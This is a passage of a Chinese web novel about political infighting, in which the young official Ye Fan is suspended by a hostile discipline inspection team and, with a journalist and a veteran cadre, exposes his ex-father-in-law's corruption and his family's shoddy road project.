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情绪,有迟疑,有不甘,甚至还有一丝恳求。
“你爸?”叶凡冷笑一声,“他不是早就把我当成垃圾一样,扔掉了吗?现在找我,有什么事?”
“叶凡!你别这样……”柳如烟的声音有些急了,“我爸他……他知道了你在青川县做的事,他想……他想和你谈谈。”
“谈谈?”叶凡的语气充满了讥讽,“是想给我升官发财,还是想再给我一笔钱,让我离他宝贝女儿远一点?”
“你!”柳如烟被他这番话刺得心口生疼,眼泪差点掉下来。
叶凡没有再给她说话的机会,直接挂断了电话,然后关机。
一气呵成。
整个世界,瞬间清净了。
他对面的苏沐秋默默地看着他,没有说话,只是伸出手轻轻地覆在了他放在桌上那只因为用力而指节发白的手背上。
她的手很暖,像一股温泉,瞬间抚平了叶凡心中的躁动和戾气。
叶凡抬起头,看着她那双清澈如水的眼睛,那里面没有同情,没有怜悯,只有最纯粹的理解和关心。
“都过去了。”苏沐秋轻声说。
叶凡反手,握住了她的手。
这一次,他没有松开。
然而,他们都不知道的是。
在砂锅店斜对面的马路边,一辆黑色的帕萨特里,柳传明的司机刚刚放下了手里的望远镜,拨通了电话。
“部长,目标人物正在和一名年轻女性用餐,关系……看起来很亲密。对,就是您让我重点关注的那个市报女记者,苏沐秋。”
电话那头,柳传明沉默了片刻。
“继续盯着。另外,把那个苏沐秋的家庭背景,也给我查一遍。”
……
第二天,叶凡刚到卫生局,就接到了局长马德龙的电话,语气是前所未有的恭敬和惶恐。
“叶……叶局,您快来一下!出事了!”
叶凡赶到马德龙办公室,发现里面已经站了好几个人,都是局里的中层干部,一个个脸色煞白,像是见了鬼。
马德龙指着办公桌上的一份文件,手都在抖。
“这……这是今天早上,市纪委派专人送来的,直接送到我手里的。”
叶凡拿起那份文件,只看了一眼标题,眼神就瞬间变得锐利起来。
《关于在全市医疗卫生系统开展廉政作风专项整治行动的通知》。
文件明确指出,鉴于近期在青川县发现的严重问题,市纪委决定将青川县卫生局,作为本次专项整治行动的第一个“试点单位”。
并且,文件最后,还有一行加粗的黑体字。
“为保证试点工作顺利开展,经市纪委研究决定,特成立‘江城市纪委驻青川县卫生局专项工作组’,由市纪委第七**监察室副主任,周毅同志,担任组长,即日进驻。”
周毅!
马德龙看到这个名字,腿都软了。
“完了,完了……‘黑面阎王’周毅!他怎么来了!”
叶凡虽然不知道这个周毅是谁,但看马德龙这反应,也知道来者不善。
他正想细问,办公室的门就被人从外面,一把推开。
一个身材高大,面容冷峻,眼神如鹰隼般锐利的中年男人在一群同样表情严肃的黑衣人的簇拥下,大步流星地走了进来。
他看都没看办公室里的一众干部,目光直接锁定了叶凡。
“你就是叶凡?”周毅的声音和他的人一样,冰冷,不带一丝感情。
“我是。”叶凡不卑不亢地迎着他的目光。
周毅上下打量了他一番,嘴角勾起一抹意味难明的冷笑。
“很好。从现在开始,你被暂停一切职务,配合我们工作组的调查。在调查结束前,不得离开青川县,二十四小时保持通讯畅通。”
他拿出一张盖着市纪委红色印章的通知,像一把飞刀,直接“钉”在了叶凡的面前。
“这是给你的,第一根杀威棒。”
第50章 釜底抽薪,双线作战!
周毅的声音不大,却像一柄重锤,狠狠砸在卫生局办公室里每个人的心上。
暂停一切职务!
配合调查!
马德龙和一众中层干部大气都不敢喘,看向叶凡的眼神瞬间从之前的敬畏,变成了惊恐和同情。
他们做梦也想不到这位刚刚才立下不世之功,被县委**亲自表扬的年轻副局长,转眼间就成了市纪委“杀威棒”下的第一个牺牲品。
这反转来得太快,太猛,让人猝不及防。
所有人都明白,这是神仙打架,凡人遭殃。
叶凡之前得罪了县长赵卫东,而赵卫东背后站着的是谁,整个江城官场无人不知。
这根“杀威棒”,看似是市纪委打下来的,但究竟是谁递的刀子,不言而喻。
叶凡看着面前那张措辞严厉的通知书,心中却是一片雪亮。
他知道,柳传明,终于出手了。
而且一出手,就是雷霆万钧的杀招。
暂停职务,看似只是一个临时措施,但其背后隐藏的杀机,却远比直接撤职更加阴毒。
第一,这是“敲山震虎”。通过打压叶凡这个“出头鸟”,来警告青川县的另一座山——县委**张海涛,让他明白叶凡这颗棋子,他保不住。
第二,这是“釜底抽薪”。将叶凡从他刚刚建立起来的权力体系中剥离出去,让他变成一个没有任何职权,无法调动任何资源的光杆司令,彻底切断他和督查组、和卫生局的联系。
第三,也是最狠的一招,叫“困兽之斗”。将叶凡困在青川县这个小地方,让他无法向外界求援,然后,周毅这个“黑面阎王”就可以关起门来,用尽各种手段,慢慢地炮制他。
欲加之罪,何患无辞。
只要进了纪委的门,白的也能给你说成黑的。
叶凡的脑中瞬间闪过无数念头。
他清楚此刻任何的辩解和反抗都是徒劳的,只会让对方更加得意。
他抬起头,迎着周毅那审视的目光,脸上没有丝毫的惊慌失措,反而平静地出奇。
“我服从组织决定。”他拿起那份通知书,看都没看,直接对折,放进了口袋,“请问周组长,需要我怎么配合?”
他这番超乎寻常的镇定,反倒让周毅准备好的一肚子下马威,没处使了。
周毅眉头微皱,他办过无数案子,见过各种各样的人,有哭天抢地的,有负隅顽抗的,但像叶凡这样,平静得像是在听一份与自己无关的工作报告的,还是第一个。
“我的同事会告诉你具体的要求。”周毅冷哼一声,转身便走,将烂摊子丢给了手下。
叶凡被“请”出了他那间还没坐热乎的办公室,在卫生局所有同事复杂的目光注视下,交出了办公室钥匙和工作证。
这一幕和当初他净身出户,离开柳家时,何其相似。
同样的被剥夺,同样的被羞辱。
只是这一次,他的眼神里再也没有了当初的绝望和迷茫,取而代之的是如同寒潭深渊般的冷静。
他走出卫生局大楼,正午的阳光刺眼,却驱不散他心头的寒意。
他没有立刻回家,而是在街上漫无目的地走着。
他知道,从这一刻起,他的手机,他的行踪,都已经被监控了起来。
他需要一个绝对安全的地方,来思考下一步的对策。
他走进了一家网吧。
嘈杂的环境,刺鼻的烟味,反而成了他最好的掩护。
他开了一台最角落的机器,没有登录任何社交账号,而是打开了一个加密的邮箱。
这是他和苏沐秋之间早就约定好的,在紧急情况下的联络方式。
他用最快的速度,敲下了一行字。
“‘手术台’被封,‘主刀医生’被隔离。启动B计划。目标:柳志鹏。突破口:鹏程建材,税务。”
发送完毕后,他立刻清除了所有上网痕跡,然后像个没事人一样,走出了网吧。
……
县报宿舍里,苏沐秋正焦急地来回踱步。
卫生局发生的事情,像长了翅膀一样,早已传遍了整个县城。
她给叶凡打电话,关机。
发信息,不回。
她心急如焚,却又不敢轻举妄动,生怕自己的关心,会给叶凡带去更大的麻烦。
就在这时,电脑屏幕上,那个她设置了特别提示音的加密邮箱,突然弹出了新邮件的提醒。
她的心猛地一跳,立刻冲到电脑前。
当看到叶凡发来的那短短一行字时,苏沐秋的眼睛瞬间亮了。
她明白了。
叶凡这是在告诉她,他现在被困住了,正面战场已经无法突破。
所以,他要开辟第二战场!
既然柳传明从市里对他下手,那他就要在县里狠狠地咬柳家一口!
而柳家在青川县最脆弱,也是最肮脏的软肋,就是那个不久前才因为****被查,但因为柳传明暗中运作,只是罚款了事,并未伤筋动骨的——柳志鹏和他的鹏程建材!
叶凡这是要用“围魏救赵”的法子,逼柳传明回防!
苏沐秋没有丝毫犹豫,立刻行动起来。
她知道,自己现在就是叶凡在外面唯一能动用的手和眼。
她没有直接去碰鹏程建材这个硬骨头,而是拨通了平安村张大山的电话。
“张**,我是小苏。上次石料厂的事情,真是多亏了你们帮忙。对了,我听说,之前柳志鹏那个鹏程建材在你们村附近,是不是也接过一些工程?”
“有啊!怎么没有!”电话那头,张大山一听柳志鹏的名字,火气就上来了,“那王八蛋,前年承包了我们镇到县里的那条公路的修建,结果呢?路面铺得比纸还薄,一下雨就坑坑洼洼,我们村好几个老乡骑摩托车都在那摔过!我们去反映,人家根本不理!”
“张**,那你们当时有没有留下什
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么证据?比如照片或者当时工程的合同之类的?”
“有!当时我们村委会就觉得这事不对劲,专门拍了照片,还复印了合同!就怕以后出问题!”
苏沐秋的心猛地跳了起来。
“张**,你现在方便吗?我想过去一趟,看看那些材料。”
……
与此同时,叶凡回到了自己那个简陋的单身宿舍。
他刚打开门,就看到一个人影,正坐在他那张唯一的破沙发上。
是钱国栋。
老**的脸上满是焦急和担忧。
“叶凡,你……”
“**,您怎么来了?”叶凡关上门,给他倒了杯水。
“我能不来吗!”钱国栋一拍大腿,急道,“我一听到消息就赶过来了!柳家这是要下死手啊!周毅那个‘黑面阎王’是柳传明一手提拔起来的,出了名的心黑手狠,专门干脏活累活。你落到他手里,还能有好?”
他看着叶凡那平静得有些过分的脸,更是气不打一处来。
“你小子怎么一点都不急?这火都烧到眉毛了!”
叶凡笑了笑,将水杯递给他。
“**,急有用吗?”他坐到钱国栋对面,“他们现在巴不得我自乱阵脚,那样,正好就给了他们可乘之机。”
“那你打算怎么办?就这么坐以待毙?”
“当然不。”叶凡的眼中,闪过一丝锐利的光芒,“他打他的,我打我的。柳传明想把我困在青川,那我就把战火,烧回江城去。”
钱国栋愣住了。“烧回江城?你怎么烧?你现在连青川县都出不去!”
叶凡没有直接回答,而是反问道:“**,您在市里,应该还有些信得过的老关系吧?”
钱国栋想了想,点了点头。“有几个,不过都退了,人走茶凉,说话怕是没什么分量了。”
“分量不重要,能递上话就行。”叶凡压低了声音,凑到钱国栋耳边,“我需要您帮我办一件事。您还记不记得,我之前跟您提过的,赵东来那份承认收受柳传明贿赂的录音?”
钱国栋的眼睛,猛地瞪大了。
“那份录音,我一直没动。因为我知道,它在最关键的时候,才能发挥最大的作用。”叶凡的声音冷静而清晰,“现在,就是最关键的时候。我需要您通过您最可靠的渠道,想办法将这份录音的‘内容’,匿名透露给一个人。”
“谁?”
“江城**,一号,高建国**。”
钱国栋倒吸了一口凉气。
他被叶凡这天马行空,又胆大包天的想法,给彻底镇住了。
这已经不是简单的反击了。
这是在用一颗小石子,去撬动整个江城市的**板块!
他看着叶凡那双深不见底的眼睛,忽然明白了。
叶凡,从来就不是一只任人宰割的羔羊。
他是一头即便被困在笼中,也依然在寻找机会,准备反噬的孤狼。
第51章 惊雷与暗流!
夜,深了。
江城**家属大院,一号楼的书房里,灯火通明。
****高建国刚刚结束了一个冗长的会议,正揉着疲惫的眉心,审阅着桌上堆积如山的文件。
他年近六十,头发已经花白,但一双眼睛却依旧炯炯有神,透着一股不怒自威的气势。
就在这时,他的私人秘书,也是他最信任的心腹轻手轻脚地走了进来,将一杯新泡的龙井,放在了他的手边。
“**,喝口茶,歇歇吧。”
高建国“嗯”了一声,没有抬头。
秘书犹豫了一下,还是开口了,声音压得极低:“**,有件事……我觉得还是得跟您汇报一下。”
“说。”
“今天下午,我一个在省报做编辑的老同学,给我打了个电话。他说,他们收到了一封匿名邮件。”秘书的语气变得异常凝重,“邮件里没有文字,只有一个音频文件。内容……是关于青川县原**局长赵东来和……柳传明部长的。”
高建国翻动文件的手,停住了。
他缓缓抬起头,目光如电,直视着自己的秘书。
秘书被他看得心里发毛,硬着头皮,将自己听到的内容,一五一十地复述了一遍。
“……音频里,赵东来亲口承认,柳部长为了让他帮忙处理他那个前女婿叶凡的事情,给了他一笔钱……声音很清晰,不像是合成的。我那同学不敢发,又不敢删,吓得半死,才偷偷告诉我的。”
书房里,陷入了死一般的寂静。
只有墙上那座老式摆钟,在“滴答滴答”地走着,仿佛每一下,都敲在人的心上。
高建国一言不发,只是端起茶杯,轻轻地吹着浮在上面的茶叶。
那袅袅升起的热气,模糊了他脸上的表情。
但秘书跟了他十几年,很清楚他越是平静,就说明他心里的风暴,越是猛烈。
柳传明,是上一任****留下来的人,在宣传口根基深厚,自成一派。
高建国空降江城之后,虽然大权在握,但对于柳传明这种地头蛇,也一直是采取着“团结、观察、逐步改造”的怀柔策略。
可现在,这封匿名的举报录音就像一颗投入平静湖面的深水**,瞬间打破了这种微妙的平衡。
“****”、“**”,这两条无论哪一条,都是足以致命的**指控。
更让高建国在意的是这封邮件出现的时机。
早不出现,晚不出现,偏偏在市纪委的工作组刚刚进驻青川县,暂停了那个叫叶凡的年轻人的职务之后,就出现了。
这背后,显然有人在斗法。
而且,对方的手段极其高明。
他没有直接把录音捅给纪委,而是选择了媒体。
因为他知道,媒体不敢轻易报道这种没有实证的“丑闻”,但一定会想办法,通过各种渠道,将这个“惊天大瓜”传递出去,形成**的暗流。
而这股暗流最终一定会流到他这个**一把手的耳朵里。
这是在逼他表态。
是保柳传明,维持现状,还是借此机会,敲山震虎,甚至是彻底拔掉这颗钉子?
高建国放下茶杯,茶水未动,已然凉了。
“我知道了。”他淡淡地说了一句,挥了挥手,“你先出去吧。记住,今天这事,天知地知,你知我知。”
“是,**。”秘书如蒙大赦,躬身退了出去。
书房里,只剩下高建国一人。
他没有再看文件,而是走到窗前,看着窗外沉沉的夜色。
江城这盘棋,该动一动了。
……
青川县,另一场没有硝烟的战争,也正在激烈地进行着。
苏沐秋拿到了张大山提供的,关于鹏程建材偷工减料修建公路的所有证据。
照片清晰,合同复印件完整,甚至还有几位当时摔伤村民的医院诊断证明。
但她知道,仅凭这些,还不足以形成致命一击。
她需要更专业的证据。
她想到了一个人——叶凡的导师,那个被排挤在青山镇,看似慵懒,实则洞若观火的老**,钱国栋。
她连夜赶到青山镇,找到了钱国栋。
当钱国栋看完所有材料后,那双总是半眯着的眼睛里,闪过一丝精光。
“丫头,你找对人了。”他抽了一口旱烟,缓缓吐出烟圈,“修路这种事,里面的门道多着呢。光有照片和合同还不够,必须要有专业的鉴定报告,才能把钉子,彻底钉死。”
“可我们去哪找专业的鉴定机构?县里的质监站,怕是早就被柳家打点好了。”苏沐秋说出了自己的担忧。
“县里不行,我们就去市里。市里不行,我们就去省里!”钱国栋把烟锅在鞋底上磕了磕,眼中透出一股**湖的狠劲,“我有个老战友,转业后在省交通厅的质监总站当副站长,脾气又臭又硬,谁的面子都不给。这事,找他,准没错!”
“不过,”钱国栋话锋一转,“我们不能直接把材料送过去。得想个办法,把事情闹大,闹到让他不能不管,主动下来查,才行。”
苏沐秋冰雪聪明,瞬间就明白了钱国栋的意思。
“**,您的意思是……**先行?”
钱国栋赞许地点了点头,像一只老狐狸,露出了狡黠的笑容。
第二天,江城市最火的一个本地生活论坛上,出现了一个帖子。
《触目惊心!青川县惊现“纸糊”公路,数十位村民雨天摔伤,敢问路在何方?》
帖子里,没有提任何官员和公司的名字,只是用一种极其悲情的笔触,讲述了平安村村民们的遭遇,配上了那些坑坑洼洼的路面照片,和村民们摔得头破血流的惨状。
帖子一发出来,立刻就引爆了网络。
“我靠!这路也太烂了吧!这是修路还是挖坑啊?”
“豆腐渣工程!严查!必须严查背后的**!”
“青川县的领导是干什么吃的?这种路也能验收通过?”
短短几个小时,帖子的点击量就突破了十万,评论数千条,群情激愤。
苏沐秋和钱国栋躲在幕后,冷静地看着**发酵。
他们知道,这第一把火,已经成功地点燃了。
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……
青川县,被纪委工作组“保护”起来的叶凡,看似与世隔绝,实则,他比任何人都更清楚外界的风吹草动。
他每天都会“借用”看守人员的手机,给远在江城的母亲打一个报平安的电话。
而他的母亲,那位退休的图书馆管理员,则会用一种看似闲聊的语气,跟他讲一些“新闻”。
“儿子啊,今天你们江城那个论坛上好热闹哦,说是有个县的路修得不好,好多人都摔跤了呢……”
“哎,对了,妈今天看新闻,说市里要搞什么廉政作风整顿,好像还挺严格的……”
叶凡默默地听着,心中那张巨大的棋盘也随之变得越来越清晰。
他知道,苏沐秋和钱国栋的行动已经开始了。
而市里那潭水也因为他投下的那颗小石子,开始泛起了涟漪。
他现在要做的就是等待。
等待一个能够让他冲破牢笼,给予敌人致命一击的最佳时机。
这天下午,周毅又一次“约谈”了叶凡。
还是在那间压抑的审讯室里,只是这一次,周毅的脸上少了几分之前的倨傲,多了几分不易察觉的烦躁。
“叶凡,我再给你最后一次机会。”周毅将一沓材料摔在桌上,“有人举报你,在负责平安村石料厂关停项目中,收受了村民给予的‘好处’。这是村民的联名**,你自己看。”
叶凡拿起那封信,只扫了一眼,就笑了。
信上的签名,歪歪扭扭,一看就是伪造的。而举报的内容,更是荒谬可笑。
他知道,这是周毅在狗急跳墙。
因为这么多天下来,他们查遍了叶凡所有的银行账户和人际关系,却找不到任何一丝污点。
这个年轻人,干净得像一张白纸,让他们无从下手。
“周组长,如果这就是你们的调查结果,那我没什么好说的。”叶凡将信推了回去,语气平静,“我相信组织,会给我一个公正的结论。”
“你!”周毅被他这油盐不进的态度气得脸色铁青。
就在这时,他口袋里的手机突然疯狂地振动了起来。
他看了一眼来电显示,脸色猛地一变,立刻起身,走到了门外去接。
叶凡虽然听不清他在说什么,但从周毅那越来越难看,甚至可以说是惊恐的脸色,他猜到,一定是出大事了。
果然,几分钟后,周毅推门进来,看叶凡的眼神,已经彻底变了。
那眼神里有震惊,有愤怒,甚至还有一丝……恐惧。
“今天的谈话,到此为止。”周毅几乎是从牙缝里挤出这句话,然后头也不回地,带着他的人,匆匆离开了。
叶凡被送回了宿舍。
他站在窗前,看着楼下那几辆属于纪委工作组的黑色轿车,仓皇离去,嘴角终于露出了一丝久违的笑容。
他知道。
他等的那个时机,来了。
因为,就在刚才,那篇关于“纸糊公路”的帖子,已经被省交通厅质监总站的领导,看到了。
一场由上而下的真正的惊雷,即将劈落。
第52章 天降神兵,自乱阵脚!
周毅冲出审讯室,走廊里的冷风让他打了个激灵,却丝毫吹不散心头的燥热和惊惶。
他躲在楼梯拐角,用颤抖的手指划开手机,屏幕上,是柳传明刚刚发来的一条短信,简短,却字字诛心。
“省交通厅质监总站下来人了,突击检查。你弟弟周文负责的那个标段,也在其中。立刻收队,别在青川县给我节外生枝!”
弟弟!
周毅的后背瞬间被冷汗浸透。他这个在交通系统工作的弟弟,是他最大的软肋,也是他能一路爬到今天,给柳传明当“黑手套”的最大依仗。
柳传明通过他,承揽了不少市政工程的监理业务,而他弟弟,也从中获得了巨大的好处。
他一直以为这些事做得天衣无缝,却没想到省里这把火竟然毫无征兆地烧了下来!
柳传明的意思很明确:家里后院起火了,你这条在前线咬人的狗,必须立刻给我缩回来!不但要缩回来,还不能留下任何手尾。否则,省厅的火烧到你弟弟身上,你我都吃不了兜着走!
而叶凡,这个他原本以为可以随意拿捏的“软柿子”,现在,赫然成了一块烫手的山芋。
继续关着他?万一省厅的调查,和叶凡掀起的“纸糊公路”**有什么关联,他周毅就是罪加一等,公报私仇,打击报复举报人!
这个罪名,柳传明都保不住他。
放了他?
那他这几天兴师动众,把青川县卫生局搅得天翻地覆,岂不成了一个天大的笑话?
他“黑面阎王”的威名,将荡然无存!
“周组长,我们……还继续吗?”一名手下小心翼翼地凑过来问道。
周毅猛地回头,眼神凶狠得像要**。“继续?继续你妈个头!收队!马上!”
他几乎是吼出了这句话,然后头也不回地冲下楼,那仓皇的背影和他来时那副鹰隼般的姿态,判若两人。
卫生局的干部们目瞪口呆地看着市纪委工作组的人,像一群被捅了窝的马蜂,乱哄哄地收拾东西,不到十分钟,就跑得一干二净。
局长马德龙站在窗边,看着那几辆黑色轿车狼狈地驶出大院,半天没回过神来。
他揉了揉眼睛,又狠狠掐了自己大腿一把,疼得龇牙咧嘴。
“我不是在做梦吧?这……这就走了?”
“走了,走了!阎王爷被小鬼吓跑了!”不知是谁在办公室里喊了一句,整个卫生局瞬间爆发出了一阵压抑已久的欢呼。
马德龙的胖脸上那龟裂的笑容重新堆了起来,而且比以往任何时候都更加灿烂。
他一溜小跑,亲自冲到叶凡的宿舍门口,那扇刚刚还被纪委人员看守的门,此刻虚掩着。
“叶……叶局!我亲爱的叶局啊!”马德龙一把推开门,声音里带着哭腔,仿佛受了天大委屈的,是他自己。
“您受苦了!我马德龙无能,没能保护好您,我……我检讨!”
叶凡正站在窗前,神色平静地看着楼下远去的车队,对马德龙的表演,置若罔闻。
他知道,这不是结束,只是中场休息。
而就在青川县卫生局上演着这出闹剧的同时,县政府大楼,已经彻底乱成了一锅粥。
三辆挂着省城牌照的越野车,连招呼都没打,直接开进了县政府大院,停在了办公楼前。
车上下来七八个身穿制服,表情严肃的男人,为首的是一个五十多岁,身材高瘦,满脸刻着“生人勿近”四个字的老者。
他们一下车,二话不说,直奔县交通局。
县长赵卫东得到消息,连滚带爬地从办公室跑出来,刚好在楼道里截住了这群“不速之客”。
“哎呀!各位领导,是省厅的同志吧?我是青川县的赵卫东啊!怎么来了也不提前打个招呼,我们好准备接待嘛!”赵卫东满脸堆笑,姿态放得极低。
为首的老者,正是钱国栋的那个老战友,省交通厅质监总站副站长,郑国强。
他连眼皮都没抬一下,从鼻子里哼了一声。
“接待?我们是来工作的,不是来旅游的。赵县长很闲吗?还有时间搞接待?”
一句话,噎得赵卫东满脸通红,尴尬地愣在原地。
郑国强根本不理他,直接对他身后一名年轻的下属命令道:“小李,你带一组人,立刻去交通局档案室,把‘青川县S203省道改扩建工程’从招标、施工到验收的所有文件,全部封存!一份都不能少!”
“是!”
“小王,你带二组人,马上去现场!带上我们的钻孔取芯机和无损探伤仪,给我沿着那条路,每隔一百米,打一个孔!我要最真实的数据!当地的人,一个都不许碰我们的设备!”
“是!”
郑国强雷厉风行,三下五除二,就把任务布置完毕,整个过程,完全把赵卫东当成了空气。
赵卫东的冷汗,顺着鬓角就流了下来。
他知道,完了。
省里这次是动真格的了,连钻孔取芯机都带来了,那是公路质量检测的“终极杀器”,任何偷工减料,在它面前都无所遁形。
而那条路,正是柳志鹏的鹏程建材公司修的!
就在他手足无措,盘算着该如何给柳家报信的时
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候,一个沉稳的声音,在他身后响起。
“郑站长,欢迎来到青川县指导工作。”
赵卫东回头一看,只见县委**张海涛,在一群县委干部的簇拥下,正大步走来。他的脸上,带着恰到好处的严肃和热情。
“我是青川县委**张海涛。省厅的同志下来督查工作,是对我们青川县的爱护和鞭策!我们县委县政府,一定全力配合,无条件支持!需要人,我们出人!需要设备,我们出现场!绝不给调查工作设置任何障碍!”
张海涛这番话说得掷地有声,义正言辞,瞬间就把自己和赵卫东划清了界限,还顺便表明了坚决支持省里调查的立场。
郑国强那**不变的冰山脸上,终于露出了一丝缓和。
他对着张海涛,点了点头。“张**,有你这句话,我就放心了。”
两人握了握手,那画面像极了两位会师的将军。
而被晾在一边的赵卫东,脸色煞白,感觉自己像个小丑。
他知道,张海涛这是要借省厅这把刀,来砍他的人,削他的权了!
张海涛瞥了一眼魂不守舍的赵卫东,话锋一转,仿佛才刚刚想起什么似的。“对了,郑站长,这次网络上最早曝光‘纸糊公路’问题的,是市报的一位年轻记者和我们卫生局的一位年轻干部。他们为了拿到第一手资料,可以说是冒了很大的风险啊。我觉得,应该让他们也参与到这次的调查工作中来,作为社会监督员,全程跟进,您看怎么样?”
郑国强眼睛一亮。
“哦?还有这种事?好!我正愁找不到最初的举报人呢。让他们来!我倒要看看是哪个部门对群众的呼声,置若罔闻!”
张海涛微微一笑,立刻对自己秘书吩咐道:“马上通知市报的苏沐秋同志,还有……卫生局的叶凡同志,立刻来县委大院集合!”
他特意加重了“叶凡同志”四个字,声音不大,却清晰地传到了赵卫东的耳朵里。
赵卫东浑身一震,如遭雷击。
叶凡?
那个被市纪委按在地上摩擦的叶凡?
他怎么也参与进来了?
他猛然间明白了什么,一股寒气从脚底板直冲天灵盖。
这是一个局!
一个从一开始就设计好的,天衣无缝的局!
叶凡和张海涛,他们早就串通好了!
而他赵卫东和柳家,从头到尾,都被蒙在鼓里,像个傻子一样,一步步走进了对方挖好的陷阱!
他再看向张海涛时,那张平日里看起来温和儒雅的脸,此刻,竟显得无比陌生和……恐怖。
第53章 反守为攻,步步紧逼!
夜色如墨,老街砂锅店里却灯火通明,蒸腾的热气混合着食物的香气,驱散了初冬的寒意。
还是那个靠窗的角落,还是那锅热气腾腾的排骨砂锅。
钱国栋端起酒杯,那张饱经风霜的老脸上,满是畅快淋漓的笑意。
“痛快!**,真痛快!我跟老郑共事那么多年,就没见他办案子这么顺心过!张海涛这小子,路子走对了!”
他一口喝干杯里的白酒,辣得直咂嘴。
苏沐秋坐在一旁,眉眼弯弯,正细心地给叶凡碗里添汤。
她今天没穿职业装,换了一身浅灰色的休闲卫衣,长发随意地扎成一个马尾,少了几分记者的干练,多了几分邻家女孩的温柔。
看着对面两个男人,一个老成谋国,一个年轻深沉,她心中充满了前所未有的安宁和骄傲。
这,就是她的战友。
“这次,多亏了**您在省里的关系,不然,光靠网上的**,还掀不起这么大的浪。”叶凡举起茶杯,以茶代酒,敬了钱国栋一杯。
“你小子少给我灌**汤!”钱国栋笑骂道,“我那只是临门一脚,真正把球传到门前的是你和这丫头。尤其是你,叶凡,在纪委那种地方被关了几天,还能在里面遥控指挥,把柳家和赵卫东耍得团团转,你这脑子,当个卫生局局长,真是屈才了!”
说到这里,他又有些不正经地挤了挤眼,压低声音道:“哎,说真的,纪委的饭,好吃吗?”
叶凡被他问得哭笑不得。
“饭还行,就是没什么味道。主要是茶不错,天天都有人换着花样请我喝。”
“哈哈哈!”钱国栋被他这冷幽默逗得开怀大笑。
苏沐秋也忍不住“扑哧”一声笑了出来,她嗔怪地白了钱国栋一眼,那眼神里却满是亲近。
一顿饭,吃得酣畅淋漓。
连日来的压抑、紧张和危险都在这顿充满烟火气的晚餐中,烟消云散。
饭后,钱国栋喝得尽兴,先一步晃晃悠悠地回去了。
叶凡和苏沐秋并肩走在青石板铺就的老街上,昏黄的路灯将两人的影子拉得很长。
“接下来,你打算怎么办?”苏沐秋轻声问道。
“等。”叶凡的回答只有一个字。
“等?”
“对。等省里的调查结果,等赵卫东倒台,等柳家自乱阵脚。”叶凡的目光望向远方漆黑的夜空,“我们已经把手术刀递到了省厅和张**的手里,现在,我们只需要当一个安静的观众,看他们如何完成这场‘肿瘤切除术’。”
苏沐秋点了点头,她明白叶凡的意思。
过早地跳出来,反而会暴露自己,引来不必要的麻烦。
“那你……工作上的事呢?”她还是有些担心,“周毅虽然走了,但你那个暂停职务的通知,还没撤销吧?”
“放心,会撤的。”叶凡笑了笑,那笑容里,带着一种洞悉一切的自信,“张**是个聪明人,他知道,我这把刀,用好了,还能帮他切掉更多的‘烂肉’。他不会让我这把刀,生锈的。”
两人走到街口,苏沐秋停下脚步,抬头看着叶凡,路灯的光晕在她眼中跳跃,像揉碎了的星光。
“叶凡,答应我,以后别再把自己置于那么危险的境地了。我……我们会担心的。”她的声音很轻,却带着不容置疑的认真。
叶凡的心像是被什么东西轻轻地撞了一下,泛起一阵柔软的涟漪。
他看着她那双写满关切的眸子,郑重地点了点头。
“我答应你。”
就在这时,一阵急促的手机铃声,再次不合时宜地响起。
叶凡拿出手机,看到屏幕上那个熟悉的,让他心生厌烦的江城号码,眉头不自觉地皱了起来。
他本想直接挂断,但犹豫了一下,还是滑开了接听键。
他想听听,这一次,柳家又想玩什么花样。
“叶凡!”电话那头,是柳如烟的声音,带着前所未有的急切和一丝压抑的哭腔,“我哥……我哥他被带走了!”
叶凡心中毫无波澜,语气淡漠。“哦,是吗?那恭喜他,终于找到了一个能管吃管住的好地方。”
“你!叶凡!你怎么能这么冷血!他也是你哥啊!”柳如烟在电话那头崩溃地喊道。
“我哥?”叶凡笑了,笑声里充满了嘲讽,“柳小姐,你是不是忘了?当初,就是你这位好哥哥,拿着伪造的照片,和你那位好父亲一起,把我像一条狗一样,赶出了柳家。现在,他出事了,你倒想起来,他是我哥了?”
“我……”柳如烟被他噎得一句话都说不出来。
叶凡能想象到她此刻那副梨花带雨、楚楚可怜的模样,但他心中却再也生不出一丝怜悯。
“我求求你,叶凡,你放过他吧!”柳如烟的声音软了下来,带着哀求,“我知道这一切都是你做的!我爸说了,只要你肯收手,只要你跟省里的人说,那条路只是普通的质量问题,不是什么大事……什么条件,我们都可以谈!”
“条件?”叶凡嘴角的讥讽更甚,“是给我一张支票,让我滚得远远的?还是,你柳大小姐纡尊降贵,愿意跟我复婚,好让你爸能继续高枕无忧地当他的大领导?”
“叶凡!你混蛋!”柳如烟的自尊心被他这句话狠狠地踩在了脚下,恼羞成怒地尖叫起来。
“我混蛋?”叶凡的声音陡然转冷,像一把淬了冰的刀子,“柳如烟,你给我听清楚。从你们柳家把我所有的尊严和真心,踩在脚下,碾得粉碎的
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那一刻起,我叶凡就跟你们柳家,恩断义绝!柳志鹏那是罪有应得!至于你爸……你回去告诉他,这,才只是个开始。”
说完,他不再给柳如烟任何开口的机会,直接挂断了电话。
整个世界,再次清净了。
他对面的苏沐秋,将这一切都看在眼里,听在耳里。
她没有说话,只是从口袋里,掏出了一颗大白兔奶糖,剥开糖纸,将那颗白白胖胖的糖,塞进了叶凡的嘴里。
“生活那么苦,得吃点甜的。”她俏皮地眨了眨眼。
甜丝丝的奶味,在舌尖化开,驱散了叶凡心中最后那一丝因为愤怒而带来的苦涩。
他看着眼前这个,总能在最恰当的时候,给他温暖和力量的女孩,心中的天平在不知不觉间已经彻底倾斜。
……
江城市,柳家别墅。
柳如烟失魂落魄地放下手机,眼泪再也控制不住,决堤而下。
客厅的沙发上,柳传明阴沉着脸,一根接一根地抽着烟。
整个客厅,都弥漫着一股压抑的烟味。
“他……他不同意。”柳如烟哽咽着说,“爸,他什么都不同意。他还说……这只是个开始。”
柳传明狠狠地将烟头摁进烟灰缸,那双一向精明老辣的眼睛里,第一次,流露出了一丝真正的狠厉和……恐惧。
他知道,叶凡不是在开玩笑。
赵东来的那份录音,就像一把悬在他头顶的达摩克利斯之剑,随时都可能落下。
而现在,他唯一的儿子又因为一条破路,被省里直接带走调查。
他苦心经营多年的**堡垒,正从内部,开始崩塌。
“爸,我们现在怎么办啊?哥哥他会不会……”柳如烟不敢想下去。
柳传明闭上眼睛,靠在沙发上,仿佛瞬间苍老了十岁。
许久,他才缓缓睁开眼,眼中已经是一片冰冷的决绝。
“断臂求生。”
他从牙缝里,挤出了这四个字。
“你哥哥的事,我会想办法,让他主动承担所有责任,把事情控制在‘企业法人违法’的层面,争取判个缓刑。至于鹏程建材……不要了。就让它,破产清算吧。”
“爸!”柳如烟不敢相信自己的耳朵。
